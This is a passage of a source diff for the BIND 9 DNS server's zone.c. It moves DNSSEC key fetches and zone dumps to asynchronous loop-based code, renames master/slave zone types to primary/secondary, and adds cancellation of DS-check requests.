-		dns_db_attach(db, &kfetch->db);
-		kfetch->fetch = NULL;
-
-		if (isc_log_wouldlog(dns_lctx, ISC_LOG_DEBUG(3))) {
-			char namebuf[DNS_NAME_FORMATSIZE];
-			dns_name_format(kname, namebuf, sizeof(namebuf));
-			dnssec_log(zone, ISC_LOG_DEBUG(3),
-				   "Creating key fetch in "
-				   "zone_refreshkeys() for '%s'",
-				   namebuf);
-		}
-
-		/*
-		 * Use of DNS_FETCHOPT_NOCACHED is essential here.  If it is
-		 * not set and the cache still holds a non-expired, validated
-		 * version of the RRset being queried for by the time the
-		 * response is received, the cached RRset will be passed to
-		 * keyfetch_done() instead of the one received in the response
-		 * as the latter will have a lower trust level due to not being
-		 * validated until keyfetch_done() is called.
-		 */
-
 #ifdef ENABLE_AFL
 		if (!dns_fuzzing_resolver) {
 #endif /* ifdef ENABLE_AFL */
-			UNLOCK_ZONE(zone);
-			result = dns_resolver_createfetch(
-				zone->view->resolver, kname,
-				dns_rdatatype_dnskey, NULL, NULL, NULL, NULL, 0,
-				DNS_FETCHOPT_NOVALIDATE |
-					DNS_FETCHOPT_UNSHARED |
-					DNS_FETCHOPT_NOCACHED,
-				0, NULL, zone->task, keyfetch_done, kfetch,
-				&kfetch->dnskeyset, &kfetch->dnskeysigset,
-				&kfetch->fetch);
-			LOCK_ZONE(zone);
+			dns_keyfetch_t *kfetch = NULL;
+
+			kfetch = isc_mem_get(zone->mctx,
+					     sizeof(dns_keyfetch_t));
+			*kfetch = (dns_keyfetch_t){ .zone = zone };
+			isc_mem_attach(zone->mctx, &kfetch->mctx);
+
+			zone->refreshkeycount++;
+			isc_refcount_increment0(&zone->irefs);
+			kname = dns_fixedname_initname(&kfetch->name);
+			dns_name_dup(name, zone->mctx, kname);
+			dns_rdataset_init(&kfetch->dnskeyset);
+			dns_rdataset_init(&kfetch->dnskeysigset);
+			dns_rdataset_init(&kfetch->keydataset);
+			dns_rdataset_clone(kdset, &kfetch->keydataset);
+			dns_db_attach(db, &kfetch->db);
+
+			if (isc_log_wouldlog(dns_lctx, ISC_LOG_DEBUG(3))) {
+				char namebuf[DNS_NAME_FORMATSIZE];
+				dns_name_format(kname, namebuf,
+						sizeof(namebuf));
+				dnssec_log(zone, ISC_LOG_DEBUG(3),
+					   "Creating key fetch in "
+					   "zone_refreshkeys() for '%s'",
+					   namebuf);
+			}
+
+			isc_async_run(zone->loop, do_keyfetch, kfetch);
+			fetching = true;
 #ifdef ENABLE_AFL
-		} else {
-			result = ISC_R_FAILURE;
 		}
 #endif /* ifdef ENABLE_AFL */
-		if (result == ISC_R_SUCCESS) {
-			fetching = true;
-		} else {
-			zone->refreshkeycount--;
-			isc_refcount_decrement(&zone->irefs);
-			dns_db_detach(&kfetch->db);
-			dns_rdataset_disassociate(&kfetch->keydataset);
-			dns_name_free(kname, zone->mctx);
-			isc_mem_put(zone->mctx, kfetch, sizeof(dns_keyfetch_t));
-			dnssec_log(zone, ISC_LOG_WARNING,
-				   "Failed to create fetch for DNSKEY update");
-			fetch_err = true;
-		}
 	}
 	if (!ISC_LIST_EMPTY(diff.tuples)) {
 		CHECK(update_soa_serial(zone, db, ver, &diff, zone->mctx,
@@ -10960,22 +10742,7 @@ zone_refreshkeys(dns_zone_t *zone) {
 	}
 
 failure:
-	if (fetch_err) {
-		/*
-		 * Error during a key fetch; retry in an hour.
-		 */
-		isc_time_t timenow, timethen;
-		char timebuf[80];
-
-		TIME_NOW(&timenow);
-		DNS_ZONE_TIME_ADD(&timenow, dns_zone_mkey_hour, &timethen);
-		zone->refreshkeytime = timethen;
-		zone_settimer(zone, &timenow);
-
-		isc_time_formattimestamp(&zone->refreshkeytime, timebuf, 80);
-		dnssec_log(zone, ISC_LOG_DEBUG(1), "retry key refresh: %s",
-			   timebuf);
-	} else if (!timerset) {
+	if (!timerset) {
 		isc_time_settoepoch(&zone->refreshkeytime);
 	}
 
@@ -10997,52 +10764,48 @@ zone_refreshkeys(dns_zone_t *zone) {
 
 static void
 zone_maintenance(dns_zone_t *zone) {
-	const char me[] = "zone_maintenance";
 	isc_time_t now;
 	isc_result_t result;
-	bool dumping, load_pending, viewok;
-	bool need_notify;
+	bool load_pending, exiting, dumping, viewok = false, notify;
+	bool refreshkeys, sign, resign, rekey, chain, warn_expire;
 
 	REQUIRE(DNS_ZONE_VALID(zone));
 	ENTER;
 
 	/*
-	 * Are we pending load/reload?
+	 * Are we pending load/reload, exiting, or unconfigured
+	 * (e.g. because of a syntax failure in the config file)?
+	 * If so, don't attempt maintenance.
 	 */
 	LOCK_ZONE(zone);
 	load_pending = DNS_ZONE_FLAG(zone, DNS_ZONEFLG_LOADPENDING);
-	UNLOCK_ZONE(zone);
-
-	if (load_pending) {
-		return;
+	exiting = DNS_ZONE_FLAG(zone, DNS_ZONEFLG_EXITING);
+	if (!load_pending && !exiting && zone->view != NULL) {
+		dns_adb_t *adb = NULL;
+		dns_view_getadb(zone->view, &adb);
+		if (adb != NULL) {
+			dns_adb_detach(&adb);
+			viewok = true;
+		}
 	}
-
-	/*
-	 * Configuring the view of this zone may have
-	 * failed, for example because the config file
-	 * had a syntax error.	In that case, the view
-	 * adb or resolver will be NULL, and we had better not try
-	 * to do further maintenance on it.
-	 */
-	LOCK_ZONE(zone);
-	viewok = (zone->view != NULL && zone->view->adb != NULL);
 	UNLOCK_ZONE(zone);
-	if (!viewok) {
+
+	if (load_pending || exiting || !viewok) {
 		return;
 	}
 
-	TIME_NOW(&now);
+	now = isc_time_now();
 
 	/*
 	 * Expire check.
 	 */
 	switch (zone->type) {
 	case dns_zone_redirect:
-		if (zone->masters == NULL) {
+		if (dns_remote_addresses(&zone->primaries) == NULL) {
 			break;
 		}
-	/* FALLTHROUGH */
-	case dns_zone_slave:
+		FALLTHROUGH;
+	case dns_zone_secondary:
 	case dns_zone_mirror:
 	case dns_zone_stub:
 		LOCK_ZONE(zone);
@@ -11063,11 +10826,11 @@ zone_maintenance(dns_zone_t *zone) {
 	 */
 	switch (zone->type) {
 	case dns_zone_redirect:
-		if (zone->masters == NULL) {
+		if (dns_remote_addresses(&zone->primaries) == NULL) {
 			break;
 		}
-	/* FALLTHROUGH */
-	case dns_zone_slave:
+		FALLTHROUGH;
+	case dns_zone_secondary:
 	case dns_zone_mirror:
 	case dns_zone_stub:
 		LOCK_ZONE(zone);
@@ -11087,14 +10850,14 @@ zone_maintenance(dns_zone_t *zone) {
 	 * primaries after.
 	 */
 	LOCK_ZONE(zone);
-	need_notify = (zone->type == dns_zone_slave ||
-		       zone->type == dns_zone_mirror) &&
-		      (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NEEDNOTIFY) ||
-		       DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NEEDSTARTUPNOTIFY)) &&
-		      (isc_time_compare(&now, &zone->notifytime) >= 0);
+	notify = (zone->type == dns_zone_secondary ||
+		  zone->type == dns_zone_mirror) &&
+		 (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NEEDNOTIFY) ||
+		  DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NEEDSTARTUPNOTIFY)) &&
+		 isc_time_compare(&now, &zone->notifytime) >= 0;
 	UNLOCK_ZONE(zone);
 
-	if (need_notify) {
+	if (notify) {
 		zone_notify(zone, &now);
 	}
 
@@ -11102,8 +10865,8 @@ zone_maintenance(dns_zone_t *zone) {
 	 * Do we need to consolidate the backing store?
 	 */
 	switch (zone->type) {
-	case dns_zone_master:
-	case dns_zone_slave:
+	case dns_zone_primary:
+	case dns_zone_secondary:
 	case dns_zone_mirror:
 	case dns_zone_key:
 	case dns_zone_redirect:
@@ -11120,11 +10883,11 @@ zone_maintenance(dns_zone_t *zone) {
 		}
 		UNLOCK_ZONE(zone);
 		if (!dumping) {
-			result = zone_dump(zone, true); /* task locked */
+			result = zone_dump(zone, true); /* loop locked */
 			if (result != ISC_R_SUCCESS) {
 				dns_zone_log(zone, ISC_LOG_WARNING,
 					     "dump failed: %s",
-					     dns_result_totext(result));
+					     isc_result_totext(result));
 			}
 		}
 		break;
@@ -11133,15 +10896,17 @@ zone_maintenance(dns_zone_t *zone) {
 	}
 
 	/*
-	 * Master/redirect zones send notifies now, if needed
+	 * Primary/redirect zones send notifies now, if needed
 	 */
 	switch (zone->type) {
-	case dns_zone_master:
+	case dns_zone_primary:
 	case dns_zone_redirect:
-		if ((DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NEEDNOTIFY) ||
-		     DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NEEDSTARTUPNOTIFY)) &&
-		    isc_time_compare(&now, &zone->notifytime) >= 0)
-		{
+		LOCK_ZONE(zone);
+		notify = (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NEEDNOTIFY) ||
+			  DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NEEDSTARTUPNOTIFY)) &&
+			 isc_time_compare(&now, &zone->notifytime) >= 0;
+		UNLOCK_ZONE(zone);
+		if (notify) {
 			zone_notify(zone, &now);
 		}
 	default:
@@ -11153,19 +10918,27 @@ zone_maintenance(dns_zone_t *zone) {
 	 */
 	switch (zone->type) {
 	case dns_zone_key:
-		if (isc_time_compare(&now, &zone->refreshkeytime) >= 0) {
-			if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_LOADED) &&
-			    !DNS_ZONE_FLAG(zone, DNS_ZONEFLG_REFRESHING))
-			{
-				zone_refreshkeys(zone);
-			}
+		LOCK_ZONE(zone);
+		refreshkeys = isc_time_compare(&now, &zone->refreshkeytime) >=
+				      0 &&
+			      DNS_ZONE_FLAG(zone, DNS_ZONEFLG_LOADED) &&
+			      !DNS_ZONE_FLAG(zone, DNS_ZONEFLG_REFRESHING);
+		UNLOCK_ZONE(zone);
+		if (refreshkeys) {
+			zone_refreshkeys(zone);
 		}
 		break;
-	case dns_zone_master:
-		if (!isc_time_isepoch(&zone->refreshkeytime) &&
-		    isc_time_compare(&now, &zone->refreshkeytime) >= 0 &&
-		    zone->rss_event == NULL)
-		{
+	case dns_zone_primary:
+		LOCK_ZONE(zone);
+		if (zone->rss != NULL) {
+			isc_time_settoepoch(&zone->refreshkeytime);
+			UNLOCK_ZONE(zone);
+			break;
+		}
+		rekey = (!isc_time_isepoch(&zone->refreshkeytime) &&
+			 isc_time_compare(&now, &zone->refreshkeytime) >= 0);
+		UNLOCK_ZONE(zone);
+		if (rekey) {
 			zone_rekey(zone);
 		}
 	default:
@@ -11173,34 +10946,43 @@ zone_maintenance(dns_zone_t *zone) {
 	}
 
 	switch (zone->type) {
-	case dns_zone_master:
+	case dns_zone_primary:
 	case dns_zone_redirect:
-	case dns_zone_slave:
+	case dns_zone_secondary:
 		/*
 		 * Do we need to sign/resign some RRsets?
 		 */
-		if (zone->rss_event != NULL) {
+		LOCK_ZONE(zone);
+		if (zone->rss != NULL) {
+			isc_time_settoepoch(&zone->signingtime);
+			isc_time_settoepoch(&zone->resigntime);
+			isc_time_settoepoch(&zone->nsec3chaintime);
+			isc_time_settoepoch(&zone->keywarntime);
+			UNLOCK_ZONE(zone);
 			break;
 		}
-		if (!isc_time_isepoch(&zone->signingtime) &&
-		    isc_time_compare(&now, &zone->signingtime) >= 0)
-		{
+		sign = !isc_time_isepoch(&zone->signingtime) &&
+		       isc_time_compare(&now, &zone->signingtime) >= 0;
+		resign = !isc_time_isepoch(&zone->resigntime) &&
+			 isc_time_compare(&now, &zone->resigntime) >= 0;
+		chain = !isc_time_isepoch(&zone->nsec3chaintime) &&
+			isc_time_compare(&now, &zone->nsec3chaintime) >= 0;
+		warn_expire = !isc_time_isepoch(&zone->keywarntime) &&
+			      isc_time_compare(&now, &zone->keywarntime) >= 0;
+		UNLOCK_ZONE(zone);
+
+		if (sign) {
 			zone_sign(zone);
-		} else if (!isc_time_isepoch(&zone->resigntime) &&
-			   isc_time_compare(&now, &zone->resigntime) >= 0)
-		{
+		} else if (resign) {
 			zone_resigninc(zone);
-		} else if (!isc_time_isepoch(&zone->nsec3chaintime) &&
-			   isc_time_compare(&now, &zone->nsec3chaintime) >= 0)
-		{
+		} else if (chain) {
 			zone_nsec3chain(zone);
 		}
+
 		/*
 		 * Do we need to issue a key expiry warning?
 		 */
-		if (!isc_time_isepoch(&zone->keywarntime) &&
-		    isc_time_compare(&now, &zone->keywarntime) >= 0)
-		{
+		if (warn_expire) {
 			set_key_expiry_warning(zone, zone->key_expiry,
 					       isc_time_seconds(&now));
 		}
@@ -11227,7 +11009,7 @@ dns_zone_markdirty(dns_zone_t *zone) {
 	 */
 again:
 	LOCK_ZONE(zone);
-	if (zone->type == dns_zone_master) {
+	if (zone->type == dns_zone_primary) {
 		if (inline_raw(zone)) {
 			unsigned int soacount;
 			secure = zone->secure;
@@ -11257,9 +11039,9 @@ dns_zone_markdirty(dns_zone_t *zone) {
 		/* XXXMPA make separate call back */
 		if (result == ISC_R_SUCCESS) {
 			set_resigntime(zone);
-			if (zone->task != NULL) {
+			if (zone->loop != NULL) {
 				isc_time_t now;
-				TIME_NOW(&now);
+				now = isc_time_now();
 				zone_settimer(zone, &now);
 			}
 		}
@@ -11329,7 +11111,6 @@ static void
 zone_refresh(dns_zone_t *zone) {
 	isc_interval_t i;
 	uint32_t oldflags;
-	unsigned int j;
 	isc_result_t result;
 
 	REQUIRE(DNS_ZONE_VALID(zone));
@@ -11345,9 +11126,9 @@ zone_refresh(dns_zone_t *zone) {
 	 */
 
 	oldflags = atomic_load(&zone->flags);
-	if (zone->masterscnt == 0) {
-		DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_NOMASTERS);
-		if ((oldflags & DNS_ZONEFLG_NOMASTERS) == 0) {
+	if (dns_remote_addresses(&zone->primaries) == NULL) {
+		DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_NOPRIMARIES);
+		if ((oldflags & DNS_ZONEFLG_NOPRIMARIES) == 0) {
 			dns_zone_log(zone, ISC_LOG_ERROR,
 				     "cannot refresh: no primaries");
 		}
@@ -11355,7 +11136,6 @@ zone_refresh(dns_zone_t *zone) {
 	}
 	DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_REFRESH);
 	DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_NOEDNS);
-	DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_USEALTXFRSRC);
 	if ((oldflags & (DNS_ZONEFLG_REFRESH | DNS_ZONEFLG_LOADING)) != 0) {
 		return;
 	}
@@ -11371,7 +11151,7 @@ zone_refresh(dns_zone_t *zone) {
 	if (result != ISC_R_SUCCESS) {
 		dns_zone_log(zone, ISC_LOG_WARNING,
 			     "isc_time_nowplusinterval() failed: %s",
-			     dns_result_totext(result));
+			     isc_result_totext(result));
 	}
 
 	/*
@@ -11383,10 +11163,8 @@ zone_refresh(dns_zone_t *zone) {
 		zone->retry = ISC_MIN(zone->retry * 2, 6 * 3600);
 	}
 
-	zone->curmaster = 0;
-	for (j = 0; j < zone->masterscnt; j++) {
-		zone->mastersok[j] = false;
-	}
+	dns_remote_reset(&zone->primaries, true);
+
 	/* initiate soa query */
 	queue_soa_query(zone);
 }
@@ -11405,7 +11183,7 @@ zone_journal_rollforward(dns_zone_t *zone, dns_db_t *db, bool *needdump,
 	unsigned int options;
 	isc_result_t result;
 
-	if (zone->type == dns_zone_master &&
+	if (zone->type == dns_zone_primary &&
 	    (inline_secure(zone) ||
 	     (zone->update_acl != NULL || zone->ssutable != NULL)))
 	{
@@ -11423,7 +11201,7 @@ zone_journal_rollforward(dns_zone_t *zone, dns_db_t *db, bool *needdump,
 	} else if (result != ISC_R_SUCCESS) {
 		dns_zone_logc(zone, DNS_LOGCATEGORY_ZONELOAD, ISC_LOG_ERROR,
 			      "journal open failed: %s",
-			      dns_result_totext(result));
+			      isc_result_totext(result));
 		return (result);
 	}
 
@@ -11438,7 +11216,7 @@ zone_journal_rollforward(dns_zone_t *zone, dns_db_t *db, bool *needdump,
 	switch (result) {
 	case ISC_R_SUCCESS:
 		*needdump = true;
-		/* FALLTHROUGH */
+		FALLTHROUGH;
 	case DNS_R_UPTODATE:
 		if (dns_journal_recovered(journal)) {
 			*fixjournal = true;
@@ -11447,13 +11225,13 @@ zone_journal_rollforward(dns_zone_t *zone, dns_db_t *db, bool *needdump,
 				ISC_LOG_DEBUG(1),
 				"journal rollforward completed successfully "
 				"using old journal format: %s",
-				dns_result_totext(result));
+				isc_result_totext(result));
 		} else {
 			dns_zone_logc(zone, DNS_LOGCATEGORY_ZONELOAD,
 				      ISC_LOG_DEBUG(1),
 				      "journal rollforward completed "
 				      "successfully: %s",
-				      dns_result_totext(result));
+				      isc_result_totext(result));
 		}
 
 		dns_journal_destroy(&journal);
@@ -11468,7 +11246,7 @@ zone_journal_rollforward(dns_zone_t *zone, dns_db_t *db, bool *needdump,
 	default:
 		dns_zone_logc(zone, DNS_LOGCATEGORY_ZONELOAD, ISC_LOG_ERROR,
 			      "journal rollforward failed: %s",
-			      dns_result_totext(result));
+			      isc_result_totext(result));
 		dns_journal_destroy(&journal);
 		return (result);
 	}
@@ -11505,11 +11283,10 @@ zone_journal_compact(dns_zone_t *zone, dns_db_t *db, uint32_t serial) {
 	if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_FIXJOURNAL)) {
 		options |= DNS_JOURNAL_COMPACTALL;
 		DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_FIXJOURNAL);
-		zone_debuglog(zone, "zone_journal_compact", 1,
-			      "repair full journal");
+		zone_debuglog(zone, __func__, 1, "repair full journal");
 	} else {
-		zone_debuglog(zone, "zone_journal_compact", 1,
-			      "target journal size %d", journalsize);
+		zone_debuglog(zone, __func__, 1, "target journal size %d",
+			      journalsize);
 	}
 	result = dns_journal_compact(zone->mctx, zone->journal, serial, options,
 				     journalsize);
@@ -11518,12 +11295,12 @@ zone_journal_compact(dns_zone_t *zone, dns_db_t *db, uint32_t serial) {
 	case ISC_R_NOSPACE:
 	case ISC_R_NOTFOUND:
 		dns_zone_log(zone, ISC_LOG_DEBUG(3), "dns_journal_compact: %s",
-			     dns_result_totext(result));
+			     isc_result_totext(result));
 		break;
 	default:
 		dns_zone_log(zone, ISC_LOG_ERROR,
 			     "dns_journal_compact failed: %s",
-			     dns_result_totext(result));
+			     isc_result_totext(result));
 		break;
 	}
 }
@@ -11538,7 +11315,8 @@ dns_zone_flush(dns_zone_t *zone) {
 	LOCK_ZONE(zone);
 	DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_FLUSH);
 	if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_NEEDDUMP) &&
-	    zone->masterfile != NULL) {
+	    zone->masterfile != NULL)
+	{
 		DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_NEEDCOMPACT);
 		result = ISC_R_ALREADYRUNNING;
 		dumping = was_dumping(zone);
@@ -11547,7 +11325,7 @@ dns_zone_flush(dns_zone_t *zone) {
 	}
 	UNLOCK_ZONE(zone);
 	if (!dumping) {
-		result = zone_dump(zone, true); /* Unknown task. */
+		result = zone_dump(zone, true);
 	}
 	return (result);
 }
@@ -11563,14 +11341,13 @@ dns_zone_dump(dns_zone_t *zone) {
 	dumping = was_dumping(zone);
 	UNLOCK_ZONE(zone);
 	if (!dumping) {
-		result = zone_dump(zone, false); /* Unknown task. */
+		result = zone_dump(zone, false);
 	}
 	return (result);
 }
 
 static void
 zone_needdump(dns_zone_t *zone, unsigned int delay) {
-	const char me[] = "zone_needdump";
 	isc_time_t dumptime;
 	isc_time_t now;
 
@@ -11586,11 +11363,12 @@ zone_needdump(dns_zone_t *zone, unsigned int delay) {
 	 * Do we have a place to dump to and are we loaded?
 	 */
 	if (zone->masterfile == NULL ||
-	    DNS_ZONE_FLAG(zone, DNS_ZONEFLG_LOADED) == 0) {
+	    DNS_ZONE_FLAG(zone, DNS_ZONEFLG_LOADED) == 0)
+	{
 		return;
 	}
 
-	TIME_NOW(&now);
+	now = isc_time_now();
 	/* add some noise */
 	DNS_ZONE_JITTER_ADD(&now, delay, &dumptime);
 
@@ -11600,14 +11378,13 @@ zone_needdump(dns_zone_t *zone, unsigned int delay) {
 	{
 		zone->dumptime = dumptime;
 	}
-	if (zone->task != NULL) {
+	if (zone->loop != NULL) {
 		zone_settimer(zone, &now);
 	}
 }
 
 static void
 dump_done(void *arg, isc_result_t result) {
-	const char me[] = "dump_done";
 	dns_zone_t *zone = arg;
 	dns_zone_t *secure = NULL;
 	dns_db_t *db;
@@ -11621,12 +11398,33 @@ dump_done(void *arg, isc_result_t result) {
 
 	ENTER;
 
+	/*
+	 * Adjust modification time of zone file to preserve expire timing.
+	 */
+	if ((zone->type == dns_zone_secondary ||
+	     zone->type == dns_zone_mirror ||
+	     zone->type == dns_zone_redirect) &&
+	    result == ISC_R_SUCCESS)
+	{
+		LOCK_ZONE(zone);
+		isc_time_t when;
+		isc_interval_t i;
+		isc_interval_set(&i, zone->expire, 0);
+		result = isc_time_subtract(&zone->expiretime, &i, &when);
+		if (result == ISC_R_SUCCESS) {
+			(void)isc_file_settime(zone->masterfile, &when);
+		} else {
+			result = ISC_R_SUCCESS;
+		}
+		UNLOCK_ZONE(zone);
+	}
+
 	if (result == ISC_R_SUCCESS && zone->journal != NULL) {
 		/*
 		 * We don't own these, zone->dctx must stay valid.
 		 */
-		db = dns_dumpctx_db(zone->dctx);
-		version = dns_dumpctx_version(zone->dctx);
+		db = dns_dumpctx_db(zone->dumpctx);
+		version = dns_dumpctx_version(zone->dumpctx);
 		tresult = dns_db_getsoaserial(db, version, &serial);
 
 		/*
@@ -11659,7 +11457,8 @@ dump_done(void *arg, isc_result_t result) {
 				mresult = dns_db_getsoaserial(zone->secure->db,
 							      NULL, &sserial);
 				if (mresult == ISC_R_SUCCESS &&
-				    isc_serial_lt(sserial, serial)) {
+				    isc_serial_lt(sserial, serial))
+				{
 					serial = sserial;
 				}
 			}
@@ -11686,7 +11485,22 @@ dump_done(void *arg, isc_result_t result) {
 	if (compact) {
 		DNS_ZONE_SETFLAG(zone, DNS_ZONEFLG_NEEDCOMPACT);
 	}
-	if (result != ISC_R_SUCCESS && result != ISC_R_CANCELED) {
+	if (DNS_ZONE_FLAG(zone, DNS_ZONEFLG_SHUTDOWN)) {
+		/*
+		 * If DNS_ZONEFLG_SHUTDOWN is set, all external references to
+		 * the zone are gone, which means it is in the process of being
+		 * cleaned up, so do not reschedule dumping.
+		 *
+		 * Detach from the raw version of the zone in case this
+		 * operation has been deferred in zone_shutdown().
+		 */
+		if (zone->raw != NULL) {
+			dns_zone_detach(&zone->raw);
+		}
+		if (result == ISC_R_SUCCESS) {
+			DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_FLUSH);
+		}
+	} else if (result != ISC_R_SUCCESS && result != ISC_R_CANCELED) {
 		/*
 		 * Try again in a short while.
 		 */
@@ -11704,10 +11518,9 @@ dump_done(void *arg, isc_result_t result) {
 		DNS_ZONE_CLRFLAG(zone, DNS_ZONEFLG_FLUSH);
 	}
 
-	if (zone->dctx != NULL) {
-		dns_dumpctx_detach(&zone->dctx);
+	if (zone->dumpctx != NULL) {
+		dns_dumpctx_detach(&zone->dumpctx);
 	}
-	zonemgr_putio(&zone->writeio);
 	UNLOCK_ZONE(zone);
 	if (again) {
 		(void)zone_dump(zone, false);
@@ -11717,16 +11530,17 @@ dump_done(void *arg, isc_result_t result) {
 
 static isc_result_t
 zone_dump(dns_zone_t *zone, bool compact) {
-	const char me[] = "zone_dump";
 	isc_result_t result;
 	dns_dbversion_t *version = NULL;
-	bool again;
+	bool again = false;
 	dns_db_t *db = NULL;
 	char *masterfile = NULL;
 	dns_masterformat_t masterformat = dns_masterformat_none;
+	const dns_master_style_t *masterstyle = NULL;
+	dns_masterrawheader_t rawdata;
 
 	/*
-	 * 'compact' MUST only be set if we are task locked.
+	 * 'compact' MUST only be set if we are loop locked.
 	 */
 
 	REQUIRE(DNS_ZONE_VALID(zone));
@@ -11743,6 +11557,13 @@ zone_dump(dns_zone_t *zone, bool compact) {
 		masterfile = isc_mem_strdup(zone->mctx, zone->masterfile);
 		masterformat = zone->masterformat;
 	}
+	if (zone->type == dns_zone_key) {
+		masterstyle = &dns_master_style_keyzone;
+	} else if (zone->masterstyle != NULL) {
+		masterstyle = zone->masterstyle;
+	} else {
+		masterstyle = &dns_master_style_default;
+	}
 	UNLOCK_ZONE(zone);
 	if (db == NULL) {
 		result = DNS_R_NOTLOADED;
@@ -11753,48 +11574,69 @@ zone_dump(dns_zone_t *zone, bool compact) {
 		goto fail;
 	}
 
+	dns_db_currentversion(db, &version);
+
+	dns_master_initrawheader(&rawdata);
+
+	if (inline_secure(zone)) {
+		get_raw_serial(zone->raw, &rawdata);
+	}
+
 	if (compact && zone->type != dns_zone_stub) {
-		dns_zone_t *dummy = NULL;
 		LOCK_ZONE(zone);
-		zone_iattach(zone, &dummy);
-		result = zonemgr_getio(zone->zmgr, false, zone->task,
-				       zone_gotwritehandle, zone,
-				       &zone->writeio);
+		zone_iattach(zone, &(dns_zone_t *){ NULL });
+
+		INSIST(zone != zone->raw);
+
+		result = dns_master_dumpasync(
+			zone->mctx, db, version, masterstyle, masterfile,
+			zone->loop, dump_done, zone, &zone->dumpctx,
+			masterformat, &rawdata);
+
+		UNLOCK_ZONE(zone);
 		if (result != ISC_R_SUCCESS) {
-			zone_idetach(&dummy);
-		} else {
-			result = DNS_R_CONTINUE;
+			dns_zone_idetach(&(dns_zone_t *){ zone });
+			goto fail;
 		}
-		UNLOCK_ZONE(zone);
+		result = DNS_R_CONTINUE;
 	} else {
-		const dns_master_style_t *output_style;
-
-		dns_masterrawheader_t rawdata;
-		dns_db_currentversion(db, &version);
-		dns_master_initrawheader(&rawdata);
-		if (inline_secure(zone)) {
-			get_raw_serial(zone->raw, &rawdata);
-		}
-		if (zone->type == dns_zone_key) {
-			output_style = &dns_master_style_keyzone;
-		} else {
-			output_style = &dns_master_style_default;
-		}
-		result = dns_master_dump(zone->mctx, db, version, output_style,
+		result = dns_master_dump(zone->mctx, db, version, masterstyle,
 					 masterfile, masterformat, &rawdata);
-		dns_db_closeversion(db, &version, false);
+		if ((zone->type == dns_zone_secondary ||
+		     zone->type == dns_zone_mirror ||
+		     zone->type == dns_zone_redirect) &&
+		    result == ISC_R_SUCCESS)
+		{
+			isc_time_t when;
+			isc_interval_t i;
+			isc_interval_set(&i, zone->expire, 0);
+			result = isc_time_subtract(&zone->expiretime, &i,
+						   &when);
+			if (result == ISC_R_SUCCESS) {
+				(void)isc_file_settime(zone->masterfile, &when);
+			} else {
+				result = ISC_R_SUCCESS;
+			}
+		}
 	}
 fail:
+	if (version != NULL) {
+		dns_db_closeversion(db, &version, false);
+	}
 	if (db != NULL) {
 		dns_db_detach(&db);
 	}
 	if (masterfile != NULL) {
 		isc_mem_free(zone->mctx, masterfile);
+		masterfile = NULL;
 	}
-	masterfile = NULL;
 
 	if (result == DNS_R_CONTINUE) {
-		return (ISC_R_SUCCESS); /* XXXMPA */
+		/*
+		 * Asyncronous write is in progress.  Zone flags will get
+		 * updated on completion.  Cleanup is complete.  We are done.
+		 */
+		return (ISC_R_SUCCESS);
 	}
 
 	again = false;
@@ -11898,6 +11740,28 @@ notify_cancel(dns_zone_t *zone) {
 	}
 }
 
+static void
+checkds_cancel(dns_zone_t *zone) {
+	dns_checkds_t *checkds;
+
+	/*
+	 * 'zone' locked by caller.
+	 */
+
+	REQUIRE(LOCKED_ZONE(zone));
+
+	for (checkds = ISC_LIST_HEAD(zone->checkds_requests); checkds != NULL;
+	     checkds = ISC_LIST_NEXT(checkds, link))
+	{
+		if (checkds->find != NULL) {
+			dns_adb_cancelfind(checkds->find);
+		}
+		if (checkds->request != NULL) {
+			dns_request_cancel(checkds->request);
+		}
+	}
+}
+
 static void
 forward_cancel(dns_zone_t *zone) {
 	dns_forward_t *forward;
@@ -11928,12 +11792,8 @@ zone_unload(dns_zone_t *zone) {
 	if (!DNS_ZONE_FLAG(zone, DNS_ZONEFLG_FLUSH) ||
 	    !DNS_ZONE_FLAG(zone, DNS_ZONEFLG_DUMPING))
 	{
-		if (zone->writeio != NULL) {
-			zonemgr_cancelio(zone->writeio);
-		}
-
-		if (zone->dctx != NULL) {
-			dns_dumpctx_cancel(zone->dctx);
+		if (zone->dumpctx != NULL) {
+			dns_dumpctx_cancel(zone->dumpctx);
 		}
 	}
 	ZONEDB_LOCK(&zone->dblock, isc_rwlocktype_write);
@@ -12028,22 +11888,21 @@ notify_isqueued(dns_zone_t *zone, unsigned int flags, dns_name_t *name,
 	 * not a startup notify, re-enqueue on the normal notify
 	 * ratelimiter.
 	 */
-	if (notify->event != NULL && (flags & DNS_NOTIFY_STARTUP) == 0 &&
+	if (notify->rlevent != NULL && (flags & DNS_NOTIFY_STARTUP) == 0 &&
 	    (notify->flags & DNS_NOTIFY_STARTUP) != 0)
 	{
 		zmgr = notify->zone->zmgr;
 		result = isc_ratelimiter_dequeue(zmgr->startupnotifyrl,
-						 notify->event);
+						 &notify->rlevent);
 		if (result != ISC_R_SUCCESS) {
 			return (true);
 		}
 
 		notify->flags &= ~DNS_NOTIFY_STARTUP;
-		result = isc_ratelimiter_enqueue(notify->zone->zmgr->notifyrl,
-						 notify->zone->task,
-						 &notify->event);
+		result = isc_ratelimiter_enqueue(
+			notify->zone->zmgr->notifyrl, notify->zone->loop,
+			notify_send_toaddr, notify, &notify->rlevent);
 		if (result != ISC_R_SUCCESS) {
-			isc_event_free(&notify->event);
 			return (false);
 		}
 	}
@@ -12153,6 +12012,7 @@ notify_create(isc_mem_t *mctx, unsigned int flags, dns_notify_t **notifyp) {
 	};
 
 	isc_mem_attach(mctx, &notify->mctx);
+	isc_sockaddr_any(&notify->src);
 	isc_sockaddr_any(&notify->dst);
